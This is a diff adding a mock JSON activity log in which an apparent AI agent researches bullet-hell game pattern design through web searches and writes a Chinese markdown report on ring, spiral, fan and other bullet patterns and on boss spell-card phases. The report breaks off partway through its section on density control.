00000000..1026de87 --- /dev/null +++ b/website-design/exp/mock/activity-sub_2_1787459391_a9b055.json @@ -0,0 +1 @@ +{"success": true, "data": {"status": "completed", "entries": [{"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "running", "args": {"overview": "调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_cfb299b68dde4a74bfe58bba", "tool": "todo_create", "status": "completed", "args": {"overview": "调研弹幕射击游戏敌方弹幕模式并生成结构化调研报告", "tasks": [{"title": "检索项目记忆与检查交付目录结构"}, {"title": "网络搜索经典弹幕模式分类信息"}, {"title": "网络搜索Boss战弹幕设计与东方Project符卡"}, {"title": "网络搜索弹幕数学原理与实现、像素风格视觉设计"}, {"title": "整理生成 bullet_pattern_research.md 调研报告"}]}, "ts": 1787459395610}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "running", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395611}, {"type": "progress", "id": "call_ab623264136e48809599bf5b", "tool": "search_project_memory", "status": "completed", "args": {"keywords": ["弹幕", "bullet hell", "STG", "符卡", "射击游戏"]}, "ts": 1787459395613}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395614}, {"type": "progress", "id": "call_9a0e3d20ffd24ad8bf328c1f", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/ 2>/dev/null; echo \"---\"; ls -la /Users/demo/starraid/research/bullet_patterns/ 2>/dev/null", "timeout": 30}, "ts": 1787459395655}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "running", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459398723}, {"type": "progress", "id": "call_9b9b4ee0cd984f2ba4727017", "tool": "web_search", "status": "completed", "args": {"query": "bullet hell danmaku pattern design ring spiral fan patterns tutorial", "max_results": 8}, "ts": 1787459402243}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "running", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459402244}, {"type": "progress", "id": "call_17b3177663a345848673cc5e", "tool": "web_search", "status": "completed", "args": {"query": "东方Project 符卡系统 Spell Card 设计 弹幕", "max_results": 8}, "ts": 1787459407839}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "running", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459407842}, {"type": "progress", "id": "call_59a10e058db24223b9289abc", "tool": "web_search", "status": "completed", "args": {"query": "STG bullet hell boss pattern design safe zone spell card phases", "max_results": 8}, "ts": 1787459414145}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459418076}, {"type": "progress", "id": "call_e7310866f9084952b71c96c3", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://note.com/npaka/n/n5d38b7d84173?hl=en"}, "ts": 1787459419644}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459419649}, {"type": "progress", "id": "call_bb3045de87664f97a67f4214", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://sparen.github.io/ph3tutorials/ddsga2.html"}, "ts": 1787459421081}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459421085}, {"type": "progress", "id": "call_b0e393bf872f4f91a80bcf83", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "bullet hell bullet movement math angle speed acceleration curved bullets implementation tutorial"}, "ts": 1787459427682}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459432747}, {"type": "progress", "id": "call_476f023ddc4546089e39867d", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://dmk.bagoum.com/docs/articles/t06.html"}, "ts": 1787459434192}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459434196}, {"type": "progress", "id": "call_3b00045226594af1ac8b841c", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "pixel art bullet design shmup bullet shapes readability color coding hitbox"}, "ts": 1787459438062}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459438066}, {"type": "progress", "id": "call_0f5194dad6614e369cad6d30", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "Touhou bullet types pellet star knife orb tama danmaku bullet graphics"}, "ts": 1787459443104}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459446601}, {"type": "progress", "id": "call_126797b4564045079c9e273f", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design"}, "ts": 1787459448476}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459448482}, {"type": "progress", "id": "call_107e79f15560482196aa6d4a", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets"}, "ts": 1787459450129}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459450136}, {"type": "progress", "id": "call_968d7e3352034f479e45e023", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "shmup boss phase design pattern escalation rhythm light heavy phase spell card survival card"}, "ts": 1787459455165}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459459458}, {"type": "progress", "id": "call_c4229bb8ffb54b61998b8367", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups"}, "ts": 1787459461213}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459461220}, {"type": "progress", "id": "call_2934c9ba32d0416aa497fca2", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://zhuanlan.zhihu.com/p/37282998"}, "ts": 1787459463340}, {"type": "progress", "id": "call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459471280}, {"type": "progress", "id": "call_0bec51e442e7459bb1052633", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://raw.githubusercontent.com/nickschuetz/o3de-diorama/main/Docs/howto/24-bullet-patterns.md"}, "ts": 1787459473022}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459473027}, {"type": "progress", "id": "call_c2f251df800740a78a8665c6", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "东方 弹幕 子弹图形 小玉 中玉 大玉 针弹 刀弹 激光 种类"}, "ts": 1787459477934}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459477940}, {"type": "progress", "id": "call_84737b8b5a16471b86d12727", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "danmaku pattern safe spot routing macro dodge micro dodge stream pattern design"}, "ts": 1787459484039}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459491121}, {"type": "progress", "id": "call_f1ebaba62f454ec59804c5d6", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://old.reddit.com/r/shmupdev/comments/13w730k/bullet_hell_shmup_design_101_bullet_patterns/"}, "ts": 1787459493861}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "running", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459493867}, {"type": "progress", "id": "call_61e2abeec97f4ddcb26c7a6c", "tool": "extract_webpage", "status": "completed", "args": {"mode": "read", "url": "https://tig.fandom.com/wiki/Danmaku"}, "ts": 1787459495749}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "running", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459499225}, {"type": "progress", "id": "call_040e7861b94e4ca4a127bbf3", "tool": "web_search", "status": "completed", "args": {"max_results": 8, "query": "DoDonPachi Ketsui Mushihimesama bullet patterns design Cave shmups famous patterns"}, "ts": 1787459503921}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530962}, {"type": "progress", "id": "call_722e3b8c9f504c5382e76d1b", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [1, 2, 3, 4]}, "ts": 1787459530963}, {"type": "progress", "id": "call_221c64a46fc24b6eb696fcd8", "tool": "write_file", "status": "running", "args": {"file_path": "research/bullet_patterns/bullet_pattern_research.md", "content": "# 弹幕射击游戏(STG / Bullet Hell)敌方弹幕模式调研报告\n\n> **调研目的**:为像素风格的弹幕射击游戏(STG / Bullet Hell)提供敌方弹幕(bullet pattern)设计的系统性参考。\n> **调研方式**:网络搜索 + 网页资料提取(来源见第 7 章)。\n> **调研时间**:2026-08-23\n> **交付目录**:`research/bullet_patterns/`\n\n---\n\n## 0. 摘要(TL;DR)\n\n- 弹幕(danmaku / 弾幕,字面义\"弹幕幕帘\",西方称 bullet hell / curtain fire)与普通 STG 的本质区别**不是子弹数量**,而是\"**整个屏幕都是弹幕的舞台**\"——大量子弹不是为了全部命中玩家,而是组成可观赏、可读、有图案(pattern)的\"幕帘\",玩家在其中寻找缝隙穿行。多数子弹在诞生之初就注定打不到玩家(Sparen's Danmaku Design Studio, Guide A2)。\n- 经典弹幕模式可用\"**规律 + 微扰**\"统一描述:先排布几何图案(环形、螺旋、扇形、直线、激光、网格等),再叠加少量可控随机(角度/速度抖动),并始终**以\"设计缝隙\"为核心**,而不是\"设计密度\"。\n- Boss 战的核心设计杠杆:**阶段(Phase/符卡)转换、节奏(轻/重交替与紧张-释放)、密度控制(难度曲线)、安全路径/安全点(safe zone/safespot/routing)、公平性信号(预警 telegraph)**。\n- 实现上只靠 5 个基础参数即可组合出绝大多数模式:**发射角度、子弹数量、发射间隔、子弹速度、加速度(角速度)**;曲线弹幕依赖角速度转向、极坐标/参数方程(如螺旋 `r=a·t, θ=b·t`)、贝塞尔曲线或正弦扰动。\n- 像素风格下,弹幕可读性(readability)压倒一切:**高饱和颜色 + 描边(尤其双层描边)+ 闪烁/呼吸动画 + 明确的子弹形状语义 + 绘制层级(敌方子弹永远最上层)**;并让判定(hitbox)远小于视觉尺寸。\n\n---\n\n## 1. 背景认知:弹幕射击与普通 STG 的区别\n\n| 维度 | 普通 STG | 弹幕射击(Bullet Hell) |\n|---|---|---|\n| 子弹目的 | 命中玩家 | 大量子弹作\"装饰 + 制造缝隙谜题\",很多子弹故意不打玩家 |\n| 屏幕利用 | 子弹从上方来袭 | 全屏都是舞台,子弹可从任何方向/任何规律出现 |\n| 判定 | 机体整体判定 | 微型判定点(hitbox),东方等游戏中判定远小于机绘大小 |\n| 玩家速度 | 较快 | 有\"低速聚焦模式\"(focus/slow mode)用于精确微调 |\n| 美学 | 战场感 | \"弹幕舞蹈\",图案本身有独立观赏价值 |\n\n关键概念:\n\n- **幕帘火(Curtain fire)**:'curtain fire'精确描述了弹幕的本质——用弹幕填满一片空间形成\"幕帘\",玩家面对的是\"图案\",而不是\"几发子弹\"(Sparen Guide A2)。\n- **判定点(Hitbox)**:子弹只有碰到自机中心的微小判定点才算命中。Cave 的《虫姬后传》《怒首领蜂大复活》甚至有 1 像素判定;DoDonPachi 系列子弹判定通常只占子弹直径约 20%(来源:TimeExtension CAVE 历史长文、Shmups Wiki CAVE 词条)。\n- **擦弹(Graze)**:子弹掠过判定点外围的\"擦弹判定圈\"得分,鼓励玩家贴着子弹走(Summer Engine、maribelhearn 术语表)。\n- **心理过滤(Mental filtering)**:高手玩家会自动忽略大量\"注定打不中自己\"的子弹(例如环形弹幕中飞向两侧/上方的子弹),只对逼近自己的弹道做出反应——这是弹幕\"装饰性子弹\"能成立的心理学基础(Sparen Guide A2)。\n\n---\n\n## 2. 经典弹幕模式分类\n\n> 本节以任务要求的 9 类为主干(2.1–2.9),然后在 2.10 补充调研中发现的其它常用模式。每个模式给出:**名称 / 视觉描述 / 数学与实现要点 / 经典游戏例子 / 像素风格设计建议**。\n> 注:任务要求的 9 类与社区常用分类(如 note.com 归纳的 15 种模式)并非一一对应,本报告将两类分类体系做了映射与合并。\n> 经典例子部分,凡未在本轮调研资料中明确出现的,均标注为\"常识(通用认知)\",置信度说明见第 7 章。\n\n### 2.1 环形弹幕(Ring / Circle Burst,日语\"轮弾/円形弾\")\n\n- **视觉描述**:从中心点向 360° 均匀放射一圈子弹,呈涟漪/烟花/魔法阵状。变化包括:扩展环(从小半径环向外扩)、收缩环、多重同心环、旋转环、分裂环(飞到中途爆成更多子弹)。(note.com 2-8 Rings)\n- **数学与实现要点**:\n ```\n n = 子弹数; base = 基准角\n for i in 0..n-1:\n angle = base + i * (360° / n)\n vx = speed * cos(angle); vy = speed * sin(angle)\n ```\n 若每帧/每次发射让 `base` 增加固定角,环就\"旋转/缭乱\"起来。(o3de-diorama 文档:Ring 参数含 Count、Aim、Speed、Fire Rate、Spin Per Shot;Ted Lim / GameMaker 论坛同款公式)\n- **经典游戏例子**:东方系列几乎所有 Boss 都有环弹(常识);琪露诺的冰符「Icicle Fall -Easy-」的冰柱环是知名的入门环弹(Sparen Guide A2 以其为例讲述固定角);环形常用作 Boss 战开场或\"轻阶段\"的通用压迫弹(note.com 入门 Boss 组合)。\n- **像素风格设计建议**:环弹数量多且对称,适合用**小尺寸圆形弹**(6–8px)保证低视觉占用;用\"带圈的小玉\"(外圈描边)区分装饰环和危险环;旋转环可给子弹加 1–2 帧的旋转动画增强\"轮转感\"。\n\n### 2.2 螺旋弹幕(Spiral)\n\n- **视觉描述**:发射角连续旋转,子弹留下螺旋尾迹,像银河/风车/玫瑰。变体:单螺旋、多螺旋、顺逆时针双螺旋交叉、不同色相/速度的螺旋。(note.com 2-2 Spiral)\n- **数学与实现要点**:\n - 离散式:每次发射一个环,环的基准角 += 每发旋转角(Spin Per Shot),即\"每发转一点\"(o3de-diorama)。\n - 参数方程(连续式):极坐标 `r = a·t`、`θ = b·t`,则 `x = cx + r·cos(θ)`,`y = cy + r·sin(θ)`(来源:Danmokou Tutorial 6 的螺旋示例 `polar(2*t, 80*t)`)。\n - 替代实现:让发射器父对象缓慢旋转(Ted Lim——\"空对象 + 3 个子发射点 + 旋转父对象即可做出螺旋\")。\n- **经典游戏例子**:螺旋是弹幕最经典的高性价比模式,\"低子弹数也能很华丽\"(note.com);东方各作螺旋遍地(常识),双反向螺旋常作中后期难度(YouTube Week 25 Boss 设计演示了\"顺+逆双螺旋\"Boss 阶段)。\n- **像素风格设计建议**:螺旋强调\"轨迹\",适合用**细长子弹(针弹/米弹/箭弹)**来勾勒弧线;或给圆形弹加方向性贴图(箭头形)让旋转方向可读(Sparen Guide A2 说明了\"有方向性的子弹图形\"对旋转/转向弹幕的可读性价值)。\n\n### 2.3 扇形弹幕(Fan / Wedge)\n\n- **视觉描述**:在一个方向张开成扇面。窄扇高压、宽扇适合场景演出;朝玩家发射时进攻性强(\"瞄准开火\"的观感),固定方向发射则可控、适合道中演出。(note.com 2-3 Fan)\n- **数学与实现要点**:\n ```\n n = 子弹数; spread = 扇形总张角; aim = 瞄准角\n step = spread / (n - 1)\n start = aim - spread / 2\n for i in 0..n-1:\n angle = start + i * step\n ```\n (来源:Unity 教程(Unity Discussions 搜索片段)与 Ted Lim 的扇面公式——\"startAngle = target - halfSpread / 2,endAngle = target + halfSpread/2,逐颗递增 step\")\n- **经典游戏例子**:几乎所有 STG 的追踪射击采用\"瞄准玩家的扇\"(aimed fan);东方道中妖精惯用(常识);DoDonPachi 等 Cave 游戏的\"concentrated fire\"即窄/快扇(来源:Zen of the SHMUP 对 Cave 的归类)。\n- **像素风格设计建议**:扇弹适合 7–11 颗一组的中型子弹(如 10px 小玉),发射瞬间用**同一色系**表示同一波;窄扇用暖色(红/橙)暗示高风险,宽装饰扇用冷色。\n\n### 2.4 直线弹幕(Line / Stream / Wall)\n\n- **视觉描述**:\n - **流弹(Stream)**:从一处连续射出单发子弹,形成一条密集弹流,玩家\"引弹\"时可把它带成一条可利用的空隙带(maribelhearn 术语:streaming / 引弹)。\n - **墙(Wall)**:同排/同列子弹连成不可穿越的\"墙\",迫使玩家整体绕过(宏闪避)或在墙隙中微闪避。Sparen Guide A3 的定义:\"墙 = 玩家无法从中间穿过的子弹群/编队\"。\n- **数学与实现要点**:连续发射(fire rate 控制密度)+ 固定方向;若每发角度做正弦微扰,直线流会变成\"S 形波流\"(Unity 论坛示例:0°→180° 递增、180°→360° 递减即正弦半波)。\n- **经典游戏例子**:东方\"针山/米弹雨\"类密集直线(常识);Sparen 用 Utsuho(地灵殿 阿空)的符卡组合说明微/宏闪避结合的动态弹幕(Sparen Guide A3)。\n- **像素风格设计建议**:直线弹适合**针弹/米弹/箭弹**(细长、方向明确);流弹用同色细弹,墙用同色+同速保证\"墙\"的视觉连续性;给子弹加方向性贴图可让玩家立即读出弹道(Sparen Guide A2)。\n\n### 2.5 随机散射(Random Spread)\n\n- **视觉描述**:子弹角度/速度在随机范围内散射,像火花、星尘、碎片。纯随机易显得\"无设计\"且不公平,优秀做法是给角度、速度、密度赋予\"范围与偏置\"(bias),即受控随机。(note.com 2-12 Particles;Sparen Guide A2 对随机角的负面评价)\n- **数学与实现要点**:\n - 在固定规律上叠加小随机:\"受控随机看起来更像弹幕\"(note.com 3-1):\n ```\n angle = base + i * even_angle + sin(t) * 波动幅度 # 规律性\n speed = base_speed + random(-0.2, 0.2) # 微扰\n ```\n - 随机角度也可用作\"种子角度\":例如连续发射环形弹时,每轮用一个随机初始角,避免盲区/避免每轮覆盖完全相同的路径(Sparen Guide A2)。\n- **经典游戏例子**:东方的\"小虫型符卡\"(《魔理沙的魔法书》分类,子弹细碎、颜色丰富,多为弱妖怪用,来源:Wikipedia 符卡)与妖精群随机弹(常识);Cave 的 Mushihimesama 强调\"更快、更集中\"的火力,其随机感更强(来源:Zen of the SHMUP / Reddit 讨论)。\n- **像素风格设计建议**:随机弹适合**点弹/星弹/米粒弹**等小尺寸,配合\"闪烁\"动画强调危险性;随机弹颜色可用亮白/黄等\"危险信号色\";注意与背景对比度(slynyrd)。\n\n### 2.6 追踪弹幕(Homing / Aimed)\n\n- **视觉描述**:\n - **瞄准弹(Aimed)**:开火瞬间朝玩家当前位置瞄准(可加扇形成\"瞄准扇/散弹\"),考验玩家\"引弹\"(misdirection)能力(note.com 2-4、maribelhearn 术语)。\n - **追踪弹(Homing)**:飞行中持续转向玩家。转向性能越弱越容易躲,追求\"稍微弯曲\"而非\"全程咬死\",反而更美观(note.com 2-13)。\n- **数学与实现要点**:\n ```\n desired = atan2(player.y - bullet.y, player.x - bullet.x)\n turn = clamp(desired - bullet.angle, -maxTurnRate*dt, +maxTurnRate*dt)\n bullet.angle += turn # 限速转向(turning performance)\n # 可选:加速度朝玩家、停顿后重新加速、分裂后重新锁定(note.com 2-13 变体)\n ```\n- **经典游戏例子**:瞄准弹是 Cave\"concentrated fire / tracking\"风格的基石(来源:SHMUP Workshop 03 YouTube——\"tracking and spread gates, 经典 CAVE 做法\");东方 Boss 的瞄准时间差/瞄准散弹(常识)。追踪弹在 DoDonPachi 的\"自爆弹\"(suicide bullets,击破敌人释放的追踪自机弹)中大量出现(来源:TimeExtension)。\n- **像素风格设计建议**:追踪弹要用**明显的方向性贴图**(箭头/小刀/蝴蝶等)且贴图随角度旋转,否则玩家读不出它在转弯(Sparen Guide A2:\"无方向性贴图的圆弹不传达转向\")。用发光/描边强调\"这只子弹会追我\"。\n\n### 2.7 反弹弹幕(Bounce / Ricochet)\n\n- **视觉描述**:子弹撞到屏幕边缘/墙壁后反弹继续飞行,轨迹呈折线。属于\"轨迹型\"弹幕中较少见的一类。\n- **数学与实现要点**:碰撞边缘时反射角度:`angle = π - angle`(左右边)或 `angle = -angle`(上下边),或对速度向量做分量取反;可加转数上限让子弹弹几次后消失。\n- **经典游戏例子**:相比东方式纵版弹幕(子弹通常出屏即消),反弹弹更常见于街机/横版与部分同人弹幕(如某些 Cave 之外的 STG);东方中近乎**没有**常规反弹弹(常识判断,未见调研资料佐证其广泛存在)。⚠️ 这属于\"相对少见\"的类型,若要在本项目中使用,建议作为特色武器或 Boss 特殊阶段引入,而非基础词库。\n- **像素风格设计建议**:反弹弹适合圆润的**圆形/椭弹**(避免方向性贴图在反弹瞬间的旋转跳变违和);反弹瞬间加 1–2 帧\"压缩-回弹\"动画或火花粒子,强化物理感;用预警或颜色提示\"它会弹\"。\n\n### 2.8 滞留弹幕(Static / Lingering)\n\n- **视觉描述**:子弹停留在场上形成持续障碍,或极慢速移动封锁区域。包括:静止弹墙、悬浮使魔、地面/空中持续存在的弹(laser 也可视为线状滞留)。作用是**区域封锁(area denial)**:封住一部分屏幕,为后续弹幕做铺垫,或堵住之前的逃逸路线(SHMUP Workshop 03:area denial patterns 的定义;Boghog:bullet sealing、ceasefire zone 等反挫败机制)。\n- **数学与实现要点**:寿命(lifespan)拉长 + 速度降到 ~0;或通过\"分裂条件=凝固\"实现\"飞行到某点后停住\"。可让滞留弹周期性闪烁(半透明 + 呼吸)提示\"仍在威胁中\"。\n- **经典游戏例子**:东方\"压迫型符卡\"(《魔理沙的魔法书》:限制自机移动范围的符卡,来源 Wikipedia,如灵梦的梦符「二重结界」以弹幕构成双重结界限制移动——B 站文章以它为例);激光墙封路也是常见形式(note.com 2-14,激光\"clearly block off parts of the screen\")。\n- **像素风格设计建议**:滞留弹必须与\"会动的危险弹\"在视觉上区分——建议**低频闪烁 + 半透明 + 固定描边**;或用\"发光的柱子/结界\"图形(如结界/棱镜形状)表示区域阻碍物。静止弹用冷色系(蓝/紫),活动弹用暖色系,形成语义分离。\n\n### 2.9 组合弹幕(Compound Patterns)\n\n- **视觉描述**:把多个模式叠加。例如\"螺旋铺满屏 + 瞄准弹逼玩家移动\",或\"展开环 + 中途分裂 + 激光堵路\"。(note.com 2-15 Composite)\n- **设计原则**(note.com 3-2 / 2-15):\n - 组合时**指定一个主模式**,其余为伴奏,避免信息过载。\n - 元素越多,越要依赖颜色编码、预警、缝隙设计来保证可读性。\n - 组合要形成\"分工\":背景压迫 + 前景逼迫(如中间难度组合:旋转全向弹 + 上方落雨 + 周期性瞄准弹)。\n- **经典游戏例子**:东方高阶符卡几乎都是组合(常识,如多层螺旋+分裂环+预警激光即 note.com 高级 Boss 推荐组合);阿空(地灵殿)的符卡是微/宏闪避结合的著名组合(Sparen Guide A3)。\n- **像素风格设计建议**:组合弹幕在像素风下最容易\"糊成一团\"。建议:每个模式用**不同主色**;不同模式用**不同子弹形状**(圆=压迫、针=直线、星=装饰/特殊);层与层之间拉开速度差,让玩家能分层读取。\n\n### 2.10 调研补充的常用模式\n\n以下模式来自 note.com 的《15 种经典弹幕模式》与 Sparen 指南,按需并入本项目词库:\n\n| 模式 | 视觉/玩法特征 | 要点 | 像素建议 |\n|---|---|---|---|\n| **波型/幕帘(Wave/Curtain)** | 正弦波排列的子弹带,像波浪/极光/瀑布,容易与 BGM 节奏联动 | 重点是\"缝隙的流动感\"而非子弹本身;`y = a·sin(ωt + φ)` 排布 | 用细长米弹/针弹沿正弦排布,同色系渐变 |\n| **网格(Grid)** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读;纯网格易单调,加大小的速度差/局部缺口 | 强规律、易读、密度↑难度↑ | 用规则小圆弹 + 网格闪烁/错位动画 |\n| **花状(Floral)** | 对称花瓣排列(5/6/8 瓣),华丽,适合符卡演出 | 对称越高越精致;过度均匀会单调,周期性转相位 | 花瓣用两类颜色交替(瓣=亮、蕊=暗)强化图案 |\n| **星形/多边形(Star)** | 强调特定顶点(5/6/8 向)的星形放射 | 少弹星形也醒目,适合元素/性格表达 | 用星形贴图子弹 + 旋转动画 |\n| **交叉(Intersection)** | 多股弹流交叉如编织/光流;视觉美但缝隙易被切断 | 关注\"玩家可走的路径\"而非交点;调速度/密度/交叉角 | 两条交叉流用互补色(如青 vs 品红)|\n| **落雨(Rain)** | 自上而下倾泻,天然适合道中演出 | 全随机易不公平,保持一定规律美观 | 竖直方向子弹用垂直长条贴图或水滴形 |\n| **粒子(Particles)** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子、Boss 登场 | 给角度/速度/密度一个\"范围+偏置\" | 小尺寸 + 闪烁,可叠加在其他弹幕上做纹理 |\n| **激光(Laser)** | 线/带状攻击,视觉冲击强,可明确封路 | 发射前先给**细预警线(telegraph)**最公平;有固定/旋转/弯曲/网格激光 | 预警线细→粗的 2 帧过渡动画;激光主体用高亮+描边 |\n| **分裂弹(Split)** | 飞行中途/定时/到距离后爆成子弹(如 1→3),常伴随\"先停顿\"预警 | 分裂条件:时间/距离/位置;分裂后子弹可重新锁定玩家(note.com 2-13) | 母弹大而亮(告知\"会爆\"),子弹小一号;停顿帧加\"蓄力闪光\" |\n\n---\n\n## 3. Boss 战弹幕设计\n\n### 3.1 阶段转换与东方Project符卡系统(Spell Card)\n\n**东方Project 的符卡系统**(来源:Wikipedia《符卡》、百度百科、PIXNET 东方介绍):\n\n- **来源与规则**:符卡(Spell Card,スペルカード)由《东方红魔乡》首次引入(ZUN 自述为\"比其它系统更早面世\"而开发本作)。符卡规则 = \"给绝技命名并宣言\"的决斗规则:宣言、约定符卡张数、击破对方全部符卡即胜。\n- **敌方符卡流程**:\n 1. **非符(nonspell)**:Boss 的普通攻击,一般耐久条分格为单位;\n 2. **符卡宣言**:血量削到阈值时 Boss \"念符\"(宣言),画面切换为该角色专属 Spell Card 背景,进入符卡攻击;\n 3. **符卡红利(Spell Card Bonus, SCB)**:无 Miss 无 Bomb 击破符卡可获得额外分数,随时间递减;擦弹可增加红利;\n 4. **时间限制**:每张符卡有残余时间显示,超时 Boss 自动进入下一波(此时无法收取符卡)。\n- **符卡变体**:\n - **增强型符卡**:随血量削减,弹幕密度/速度逐渐增加,越到后面越难(强化难度的天然手段);\n - **时效型/时限型符卡**:耐久无法直接削减,玩家必须\"死守到时间结束\"才能收取(生存符卡 survival card;如《永夜抄》部分符卡);\n - **Last Spell / Last Word / Overdrive**:残机为零或特定条件下的最终符卡(Extra/隐藏挑战用)。\n- **难度变化**:同一符卡在 Easy/Normal 与 Hard/Lunatic 下常有**不同名字**(Higher 难度名字更华丽),弹幕排列与颜色也会变化(Wikipedia)。\n- **《魔理沙的魔法书》对符卡的分类**(Wikipedia):演剧型(重视觉效果、大量非瞄准装饰弹)、奴隶型(用使魔/人偶/式神攻击)、小虫型(细碎多彩、弱妖怪)、压迫型(限制自机移动范围)、兴奋剂型(强化自身)。\n\n**对本项目的启示**:阶段(Phase)不必按血量硬切,可以模仿\"非符→符卡宣言→符卡\"的节奏:普通阶段保持低密度教学,宣言瞬间清场 + 特效 + 显示符卡名,制造\"仪式感\";生存符卡(时限型)能复用已有图案、只改目标(熬过 X 秒),开发成本低、演出效果好。\n\n### 3.2 弹幕密度控制\n\n- **密度不是越多越好**:'curtain 